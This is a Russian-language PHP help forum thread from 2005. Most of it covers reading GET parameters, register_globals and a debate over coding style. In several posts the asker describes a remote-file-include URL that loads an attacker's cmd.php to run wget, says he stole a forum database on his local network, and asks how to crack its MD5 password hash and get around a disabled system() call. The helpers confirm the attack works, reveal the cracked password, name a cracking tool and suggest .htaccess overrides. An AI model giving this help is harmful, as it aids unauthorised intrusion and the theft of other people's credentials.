помогите плз, вот хрень какая-то с пшп
Пользователи, просматривающие топик: none
|
Зашли как: Guest
|
Имя |
Сообщение |
<< Старые топики Новые топики >> |
|
|
помогите плз, вот хрень какая-то с пшп - 2005-02-10 13:38:47
|
|
|
XMblPb
Сообщений: 245
Оценки: 0
Присоединился: 2005-01-11 19:39:40
|
вобщем, создал страничку примерно такого содержания: <? if (isset($ppp)) { echo "sss-$ppp"; } else { echo "no settings"; } ?>
захожу по ссылке http://mysite.ru/index.php?ppp=123 всё равно пишет "no settings" почему?[sm=19.gif]
|
|
|
помогите плз, вот хрень какая-то с пшп - 2005-02-10 13:41:44
|
|
|
Lex_Voodoo
Сообщений: 7328
Оценки: 0
Присоединился: 2004-12-07 13:55:12
|
<? if (isset($_GET['ppp'])) echo "sss-$ppp"; else echo "no settings"; ?>
|
|
|
помогите плз, вот хрень какая-то с пшп - 2005-02-10 13:50:27
|
|
|
XMblPb
Сообщений: 245
Оценки: 0
Присоединился: 2005-01-11 19:39:40
|
Notice: Undefined variable: ppp in e:\http\www\index.php on line 3 sss-
дальше не идёт [sm=15.gif] сорри конечно за глупые вопросы, но программер из меня хреновый[sm=8.gif]
|
|
|
помогите плз, вот хрень какая-то с пшп - 2005-02-10 13:52:47
|
|
|
Lex_Voodoo
Сообщений: 7328
Оценки: 0
Присоединился: 2004-12-07 13:55:12
|
Сорри, вот это я ступил :) Вот так должно работать: <? $ppp = $_GET['ppp']; if (isset($ppp)) echo "sss-$ppp"; else echo "no settings"; ?>
|
|
|
помогите плз, вот хрень какая-то с пшп - 2005-02-10 14:02:14
|
|
|
XMblPb
Сообщений: 245
Оценки: 0
Присоединился: 2005-01-11 19:39:40
|
а как убрать сообщение об ошибке при заходе на страницу без параметров? (Notice: Undefined index: ppp in e:\http\www\index.php on line 2)
|
|
|
помогите плз, вот хрень какая-то с пшп - 2005-02-10 14:04:17
|
|
|
Lex_Voodoo
Сообщений: 7328
Оценки: 0
Присоединился: 2004-12-07 13:55:12
|
<? $ppp = @$_GET['ppp']; if (isset($ppp)) echo "sss-$ppp"; else echo "no settings"; ?>
|
|
|
помогите плз, вот хрень какая-то с пшп - 2005-02-10 14:10:00
|
|
|
XMblPb
Сообщений: 245
Оценки: 0
Присоединился: 2005-01-11 19:39:40
|
спс огромное. ща почитал багтрак по поводу инклуд уязвимости и подумал, а что, получается что можно так утянуть любой файл? (к примеру, запрос такой= http://site.ru/index.php?page=http://hack.ru/cmd.php&cmd=wget http://ya.ru/index.php) на сайте site.ru по идее должен появиться файл index.php с яндекса. это так?
|
|
|
помогите плз, вот хрень какая-то с пшп - 2005-02-10 14:44:28
|
|
|
Lex_Voodoo
Сообщений: 7328
Оценки: 0
Присоединился: 2004-12-07 13:55:12
|
Ну… при определённых усоловиях, да. Только на яндексе index.html :)
|
|
|
помогите плз, вот хрень какая-то с пшп - 2005-02-10 15:00:33
|
|
|
Maker
Сообщений: 647
Оценки: 0
Присоединился: 2004-03-11 18:50:32
|
Хм… Не проще было написать так:
<?php if (isset($_GET['ppp'])) echo 'sss-'.$_GET['ppp']; else echo 'no settings'; ?>
На счет скачать страницу с других сайтов: это определяется настройками сервера, и по умолчанию это функция сейчас почти у всех отключена…
|
|
|
помогите плз, вот хрень какая-то с пшп - 2005-02-10 15:04:26
|
|
|
Lex_Voodoo
Сообщений: 7328
Оценки: 0
Присоединился: 2004-12-07 13:55:12
|
Если ты не заметил, я в первый раз так и хотел, просто забыл заменить в одном месте :)
Вообще это регулируется register_globals в php.ini. Чтобы не регистрировать такие переменные нужно поставить значение в off
|
|
|
помогите плз, вот хрень какая-то с пшп - 2005-02-10 15:33:46
|
|
|
Maker
Сообщений: 647
Оценки: 0
Присоединился: 2004-03-11 18:50:32
|
Хотел. Но результат все же получился иным… Присвивать переменной знгачение, которого возможно нет - зачем?
|
|
|
помогите плз, вот хрень какая-то с пшп - 2005-02-10 16:01:21
|
|
|
Lex_Voodoo
Сообщений: 7328
Оценки: 0
Присоединился: 2004-12-07 13:55:12
|
Если бы я не забыл заменить $ppp на $_GET['ppp'], получилось бы то же самое (о чём я исказал) Просто в следующем примере всё сделано ещё более рационально.
|
|
|
помогите плз, вот хрень какая-то с пшп - 2005-02-11 00:34:27
|
|
|
Maker
Сообщений: 647
Оценки: 0
Присоединился: 2004-03-11 18:50:32
|
Возможно. Объясни плз, чем второй твой вариант более рационален?
|
|
|
помогите плз, вот хрень какая-то с пшп - 2005-02-11 11:17:37
|
|
|
Lex_Voodoo
Сообщений: 7328
Оценки: 0
Присоединился: 2004-12-07 13:55:12
|
Ну, как минимум тем, что мы оперируем внутренней переменной, которая определяется один раз в начале скрипта. Это очень удобно, так как при необходимости явно задать эту переменную (например, для отладки), а так же если нам, к примеру, понадобится переделать форму для POST, а не GET запросов, поменять достаточно будет только в одном месте, а не лазить по скрипту, протирая лоб и ужасаясь, с какого перепоя был написан этот код и что бы это могло значить [sm=1.gif]
|
|
|
помогите плз, вот хрень какая-то с пшп - 2005-02-11 16:07:40
|
|
|
Maker
Сообщений: 647
Оценки: 0
Присоединился: 2004-03-11 18:50:32
|
Ну и ну… Значит теперь создавать указатель на (возможно) пустую область рациональным… Ну и ну… Значит теперь создание переменной там, где можно без нее обойтись считается рациональным… Ну и ну… Даже не хочу смотреть твои скрипты: я все стараюсь упаковать в функции, чтобы не пришлось менять по всему движку… Хм… В каком еще месте осталась рациональность?
|
|
|
помогите плз, вот хрень какая-то с пшп - 2005-02-11 17:23:03
|
|
|
Lex_Voodoo
Сообщений: 7328
Оценки: 0
Присоединился: 2004-12-07 13:55:12
|
>> Ну и ну… Значит теперь создавать указатель на (возможно) пустую область рациональным… Ты предлагаешь растыкать этот указатель по всему коду? Это по-твоему рациональность? Теперь уж моя очередь сказать "ну и ну".
К тому же, область не пустая. Если не будет параметра, будет просто переменная, содержащая NULL. Ты этого боишься? Для нас всё равно, поскольку далее она всё равно проверяется на существование и в случае отсутствия значения мы её не используем.
>> Ну и ну… Значит теперь создание переменной там, где можно без нее обойтись считается рациональным… Я и не предлагаю клепать циклы на создание переменных. Но там, где это приемлемо, лучше работать с внутренней переменной, которая определяется в известном месте.
>> Ну и ну… Даже не хочу смотреть твои скрипты: я все стараюсь упаковать в функции, чтобы не пришлось менять по всему движку… Хм… Очень надо мне тебе их показывать. Между прочим, я тоже всё стараюсь упаковать в функции, не думай, что ты первый до этого додумался. Только вот твои функции нужно будет переписывать целиком при использовании в другом приложении - ты каждый раз делаешь одну и ту же рутинную работу. Мои же можно использовать вновь и вновь. Отсюда и это слово, к которому ты прицепился - рациональность.
|
|
|
помогите плз, вот хрень какая-то с пшп - 2005-02-11 19:46:26
|
|
|
XMblPb
Сообщений: 245
Оценки: 0
Присоединился: 2005-01-11 19:39:40
|
[p]quote:
Ну… при определённых усоловиях, да. Только на яндексе index.html :)<BR><BR> <BR>quote:
<BR><BR>спс. я в локалке буду делать, там ламеры полные сидят.<BR>ЗЫ. скажи плиз, как расшифровать пасс, стянутый из MySQL<BR> базы, пасс форума пшпбб 2.0.8, пасс такой: 182340c28a4350468fce307ff1bab29e
|
|
|
помогите плз, вот хрень какая-то с пшп - 2005-02-12 17:34:51
|
|
|
Lex_Voodoo
Сообщений: 7328
Оценки: 0
Присоединился: 2004-12-07 13:55:12
|
quote:
—————-<BR>Цитата: Дата:11.02.2005 19:46:26, Автор:XMblPb :: [p]quote:
Ну… при определённых усоловиях, да. Только на яндексе index.html :)<BR><BR><BR> <BR><BR>quote:
<BR><BR><BR>спс. я в локалке буду делать, там ламеры полные сидят.<BR><BR>ЗЫ. скажи плиз, как расшифровать пасс, стянутый из MySQL<BR><BR> базы, пасс форума пшпбб 2.0.8, пасс такой: 182340c28a4350468fce307ff1bab29e —————-
А чего его расшифровывать Пароль - 15192 [sm=9.gif]
|
|
|
помогите плз, вот хрень какая-то с пшп - 2005-02-12 18:24:20
|
|
|
XMblPb
Сообщений: 245
Оценки: 0
Присоединился: 2005-01-11 19:39:40
|
хех а как можно узнать? какой типа алгоритм зашифровки?
|
|
|
помогите плз, вот хрень какая-то с пшп - 2005-02-12 19:44:33
|
|
|
Lex_Voodoo
Сообщений: 7328
Оценки: 0
Присоединился: 2004-12-07 13:55:12
|
Алгоритм MD5, расшифровать можно например с помощью программы passwordsPRO
|
|
|
помогите плз, вот хрень какая-то с пшп - 2005-02-13 11:53:22
|
|
|
XMblPb
Сообщений: 245
Оценки: 0
Присоединился: 2005-01-11 19:39:40
|
спс, а то я сорвал в локалке бд форума, а пассов не знаю [sm=1.gif]
|
|
|
помогите плз, вот хрень какая-то с пшп - 2005-02-15 12:02:20
|
|
|
Maker
Сообщений: 647
Оценки: 0
Присоединился: 2004-03-11 18:50:32
|
Lex_Voodoo, ты уж извини, но коммерческим программированием ты видно не занимаешься…..
>>Ты предлагаешь растыкать этот указатель по всему коду? Это по-твоему рациональность? Теперь уж моя очередь сказать "ну и ну".
Не в ком случае! Для данного конкретного примера растыкать указатель более рационально. В других случаях сначала выполнить проверку, а потом присваивать.
>>К тому же, область не пустая. Если не будет параметра, будет просто переменная, содержащая НУЛЬ. Ты этого боишься? Для нас всё равно, поскольку далее она всё равно проверяется на существование и в случае отсутствия значения мы её не используем.
А ты считаешь, что указатель на область памяти ничего не весит? Для одно раза это не критично, а для портала в 1000 посещений (особенно когда несколько запросов одновременно)? А если у тебя не одна (как в этом простеньком примере), а 3? А 5? А 30?
>>Я и не предлагаю клепать циклы на создание переменных. Но там, где это приемлемо, лучше работать с внутренней переменной, которая определяется в известном месте.
Какое совпадение - я тоже [sm=2.gif]. Но, как я и сказал выше, лучше все-таки сначала проверить…
>>Между прочим, я тоже всё стараюсь упаковать в функции, не думай, что ты первый до этого додумался. Только вот твои функции нужно будет переписывать целиком при использовании в другом приложении - ты каждый раз делаешь одну и ту же рутинную работу.
Хм… Да я вроде и не говорил, что я первый… Это называется структурное программирование… И. один раз написав функцию, я использую ее в последующих проектах без изменений, вообще-то… Это называется рационализация труда. Ты хоть видел одну мою функцию? Нет. Так как ты можешь говорить, что их нельзя использовать? Абсолютно беспочвенное утверждение! А все, о чем мы говорили выше, называется оптимизация, поэтому я так к слову и привязался…
|
|
|
помогите плз, вот хрень какая-то с пшп - 2005-02-17 09:58:45
|
|
|
Lex_Voodoo
Сообщений: 7328
Оценки: 0
Присоединился: 2004-12-07 13:55:12
|
>> Для данного конкретного примера растыкать указатель более рационально. В других случаях сначала выполнить проверку, а потом присваивать. … >> Для одно раза это не критично, а для портала в 1000 посещений (особенно когда несколько запросов одновременно)? А если у тебя не одна (как в этом простеньком примере), а 3? А 5? А 30?
Ты уж определись, пожалуйста, ты споришь о рациональности в данном конкретном примере , или про твои разработки для Майкрософт, или где ты там ещё занимаешься "коммерческим программированием".
Человек только начал изучать PHP, пытается разобраться в особенностях передачи параметров скрипту. Так?
Ты предлагаешь ему: <BR>if (isset($_GET['ppp'])) <BR> echo 'sss-'.$_GET['ppp'];<BR>else<BR> echo 'no settings';<BR> А если после этого, допустим, нужно будет вывести не GET, а POST-переменную? И будет он менять все GET['ppp'] на POST['ppp']. И тут ещё минимум кода - а если там будут производиться какие-нибудь операции с этими переменными, и их там "понатыкано" штук 20 "для того, чтобы сэкономить память". Что ему, из-за того, что кто-то пожадничал на одну переменную, выковыривать все $_GET? Конечно же да, иначе если что вдруг случится, лишний NULL непременно съест у него все Мб оперативки, что ты!!
Вот - исходный код: <BR>$ppp = @$_GET['ppp'];<BR>if (isset($ppp))<BR> echo "sss-$ppp";<BR>else<BR> echo "no settings";<BR>
Нужно принять POST параметр? Да пожалуйста: <BR>$ppp = @$_POST['ppp'];<BR>if (isset($ppp))<BR> echo "sss-$ppp";<BR>else<BR> echo "no settings";<BR>
Нужно сделать проверку на тип переменной? На здоровье! <BR>if(gettype($_GET['ppp']) == "integer")<BR> $ppp = @$_GET['ppp'];<BR>elseif (gettype($_GET['ppp']) == "float")<BR> $ppp = round($_GET['ppp'], 1);<BR>else<BR> $ppp = NULL;<BR><BR>// Далее весь тот код, который был до этого БЕЗ ИЗМЕНЕНИЯ!<BR>if (isset($ppp))<BR> echo "sss-$ppp";<BR>else<BR> echo "no settings";<BR>
Нужно запихать всё это в твои любимые функции? Легко: <BR>if(gettype($_GET['ppp']) == "integer")<BR> $ppp = @$_GET['ppp'];<BR>elseif (gettype($_GET['ppp']) == "float")<BR> $ppp = round($_GET['ppp'], 1);<BR>else<BR> $ppp = NULL;<BR><BR>print_ppp($ppp);<BR>// Либо так, если не нужны проверки:<BR>// print_ppp($_GET['ppp']);<BR><BR>function print_ppp($ppp) {<BR> if (isset($ppp))<BR> echo "sss-$ppp";<BR>else<BR> echo "no settings";<BR>}<BR> Прошу отметить, что и в этом случае исходный код остался без изменения. Сомневаюсь, что две-три, или даже (о, боже!) четыре "лишних", по-твоему, переменных подвесят сервер - при том, что их может быть и несколько сотен и больше. А вот время программиста это съкономит ещё как. Конечно же, если тов. XMblPb не занимается критическим программированием и не пишет разработки для NASA (в чём я лично сильно сомневаюсь).
|
|
|
помогите плз, вот хрень какая-то с пшп - 2005-02-17 11:49:24
|
|
|
Maker
Сообщений: 647
Оценки: 0
Присоединился: 2004-03-11 18:50:32
|
Lex_Voodoo, ты говоришь, конечно все правильно, но! прочитай еще раз плз, что я написал: >>Не в ком случае! Для данного конкретного примера растыкать указатель более рационально. В других случаях сначала выполнить проверку, а потом присваивать.
Просто раз уж ты взялся объяснять человеку, то учи его сразу правильному программированию, чтобы потом ему не переучиваться
|
|
|
помогите плз, вот хрень какая-то с пшп - 2005-02-17 12:11:03
|
|
|
Lex_Voodoo
Сообщений: 7328
Оценки: 0
Присоединился: 2004-12-07 13:55:12
|
В процессе обучения правильно то, что понятно, потому что если всё понятно, то можно этот код хоть задом наперёд переписать и всё будет работать. А вот если начать сразу грузиться классами, ооп и прочим, то можно вообще потерять к этому всякий интерес.
Начинать надо с простого и удобного. Остальное прибудет.
З.Ы. >> Для данного конкретного примера растыкать указатель более рационально Я думал, что ты со мной споришь, поэтому автоматом понял всё наоборот :)
|
|
|
помогите плз, вот хрень какая-то с пшп - 2005-02-17 17:36:43
|
|
|
XMblPb
Сообщений: 245
Оценки: 0
Присоединился: 2005-01-11 19:39:40
|
хех, ну ни фига себе! я думал, мой пост опять останется незамеченым, а тут такое… [sm=1.gif] обоим вам спасибо, не волнуйтесь, учусь я быстро, мне в школе все учителя об этом говорят [sm=1.gif] ЗЫ. тут вопрос появился, а можно ли обойти запрет вызова system() в пшп? т.е. решил я поиметь сайт через инклуд багу, а там с system() облом. [sm=15.gif]
|
|
|
помогите плз, вот хрень какая-то с пшп - 2005-02-18 10:32:06
|
|
|
Maker
Сообщений: 647
Оценки: 0
Присоединился: 2004-03-11 18:50:32
|
Если на сайте позволяют делать .htaccess , то в нем ставишь нужные тебе настройки сервера, если нет - то никак…
P.S. Lex_Voodoo, ну вот вроде и разобрались… [sm=2.gif]
|
|
|
|
|